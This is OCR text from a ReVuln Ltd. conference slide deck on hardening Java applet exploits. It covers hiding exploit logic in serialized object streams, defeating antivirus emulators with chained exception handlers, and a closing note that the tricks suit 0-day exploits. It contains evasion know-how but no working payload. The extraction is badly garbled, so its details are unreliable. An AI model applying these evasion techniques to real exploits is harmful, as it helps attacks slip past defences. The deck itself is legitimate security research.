int re_i; MyClass h0x7e0002 = r 0x7e0000;
double re_d; —_ —_
MyClass(String s, int i, double d) { //// END stream content output
this.re_s - s; //// BEGIN class declarations (excluding array
this.re_i i; 1 )
this.re_d = d; classes
class MyClass implements java.io.Serializable {
double re d;
. 4 .  ds int re i;
java.lang.String re_s;

String toString() {

re_s

}
//// END class declarations

//// BEGIN instance dump
[instance 0x7e0002: 0x7e0000/MyClass
field data:

dntbug$ hexdump -C serial .
00000000 ac ed 00 05 73 72 00 07 4d 79 43 6c 61 73 73 88 |....sr..MyClass. | 0x7e0000/MyClass:
00000010 6b d3 a0 8a 04 46 a3 02 00 03 44 00 04 72 65 5f |k....F....D..re | re d: 1.0
00000020 64 49 00 04 72 65 5 69 4c 00 04 72 65 5f 73 74 |dI..re iL..re st| —
00000030 00 12 4c 6a 61 76 61 2f 6¢c 61 6e 67 2f 53 74 72 |..Ljava/lang/Str| re i: 0
00000040 69 6e 67 3b 78 70 3£ £0 00 00 00 00 00 00 00 00 |ing;xp?......... | - .
00000050 00 00 74 00 06 52 65 56 75 6c 6e |..t..Revuln]| re_s: r0x7e0003: [String 0x7e0003:
0000005k "ReVuln"]
1

//// END instance dump

® ReVuln Ltd. ® 86



Recap

* A good strategy to add a layer of obscurity

« ACED stream is an array of bytes/numbers, which
means obfuscation++

« Exploit Pruning helps 1o reduce the amount of
InNformation available directly from the bytecode

L
& o

b & \
§5)
J
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Hardening Consideration

« How fo detect hardened exploits:
(some of the possible strategies)

o Use serialization?
« ACED parser

o Use JVM sharing?
« Memory inspection

o Use AppletContexte
* Emulator

o Use LiveConnect?e
« Emulator + Emulator

® ReVuln Ltd. 38



Emulators

Some of the most advanced
detectors on the market use
internal emulators to perform
detection on the Java bytecode..

There are several tricks to bypass emulation-based
defenses, and the following slides highlight one of the
possible strategies..

® ReVuln Ltd. ® 89



Exceptions

* An inferesting trick to defeat most of the emulators
Is to rely on exceptions

* |n Java we have: fry/catch/finally statements

« A JVM Exception is represented by a couple:
o <pc, exception_type>

* A JVM Exception handler is instead:

o <pc_start, pc_end, pc_handler, exception_type>

® ReVuln Ltd. 90



Plan

 The ideais simple

« Build a chain of exception handlers, by using:
try {} catch(){ } finally { } blocks

 Deploy the exploit code info each exception handler
« Try to avoid: throw new Exception|)
« Try to use/abuse JVM Runtime Exceptions

o Il.e.exceptions thrown via Runtime when misusing APIs

® ReVuln Ltd.
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String

@Deprecated

public S5tring(byte[] ascii,
int hibyte,
int offset,
int count)

Deprecated. This method does not propery convert bytes into characters. As of JO
Allocates a new String constructed from a subarray of an array of 8-bit integerval

The cffzet argument is the index of the first byte of the subarray, and the count al
Each byte inthe subarray is converted to a char as specified in the method above
Parameters:

azcii- The bytes to be converted to characters

hibyte - The top & bits of each 16-bit Unicode code unit

ocffset - The initial offset

count - The length

Throws:

IndexCut{fBoundsException

set Of count argument is I

Attack

LinkedList

View Edit Help

o

0000 0000 0008 00EO
32

@B @000 @002 BEEE
15 [}

public LinkedList (Collection<? extends E> c)

Constructs a list containing the elements of the specified collection, in th

Parameters:

c-the collection whose elements are to be placed into this list

Throws:

NullPointerExcepticon i

———

h cified collection is null

String

public String(char[] wvalue,
int offset,
int count)

Allocates a new String that contains characters from a subarray of the character array argument. The c££ze

the newly created string
Parameters:

walue - Array thatis the source of characters

offszet - The initial offset

count - The length

Throws:

IndexCutOfBoundsException)

HashSet

public HashSet(int initialCapacity,
float loadFactor)

Constructs a new, empty set; the backing HashMap instance has the specified initial capacity and the specifiec
Parameters:
initialCapacity -the initial capacity of the hash map

loadFactor - the load factor of the hash map

Throws:

TIllegalArgumentException §iTWe initial capacity is less than zero, or ifthe load factor is nonpositive

® ReVuln Ltd.

he offset and count arguments index characters outside the bounds of the value array

Update JVM Status

gumentis the index

try/catch/finally (2)

try/catch/finally (i-2)

try/catch/finally (i-1)

try/catch/finally (..)

removelast /

publi emovelast ()

Removes and returns the last element from this list

try/catch/finally (n)

Specified by:
removelast ininterface Deque<E>
Returns:

the last element from this list

Throws:

9?2

NoSuchElementExceptionf Mhis listis empty




DEM® TIME
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Conclusion
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Conclusion I

« There are several interesting ways to harden Java exploits

« Applets can cooperate with other Applets and/or JavaScript
and/or HTML to exploit vulnerabilities

« Applets can cooperate across multiple JVMs on the same or
different domains

« Serialization can be used to reduce the information coming
from the Java bytecode

« Exceptions can be used to defeat emulation

« The strategies shown can be obviously used to harden exploits

for 0-day vulnerabilities

® ReVuln Ltd.
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Conclusion 11

Current defense solutions can’t help against hardened
Java exploits. There is only one valid way to be safe
against old Java issues (at the moment):

KEEP YOUR JRE UPDATED OR DELETE IT

o RovuinLia 1TOLD YOU SO. 056



Conclusion 111

 Detected doesn’t mean it didn’t run on your pc..

& http://192.168.1.200/test. html P~ B| & 1921681200

@ Calculator
View Edit Help

_AUG_ Anti-Virus FrRee

Name: Virus identified Java/CVE-2012-4481

Object name: c:\Users\dntbug\AppData\LocalLow\Sun\ Javal
Deploymenticache\é.0\15\4cif7b0f-41784c87 [More infol

Protect Me [recommended)
Let AVG deal with this threat. AVG will choose the best action for
remaoving this threat.

Ignore the threat

The identified file will remain in its current location on your disk. To
ensure you are protected, Resident Shield will not allow you to access
files that are infected.

@ Show details °® 97
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Thanks to..

= Nico Waisman (@nicowaisman), for the feedback
on an early draft of this preso
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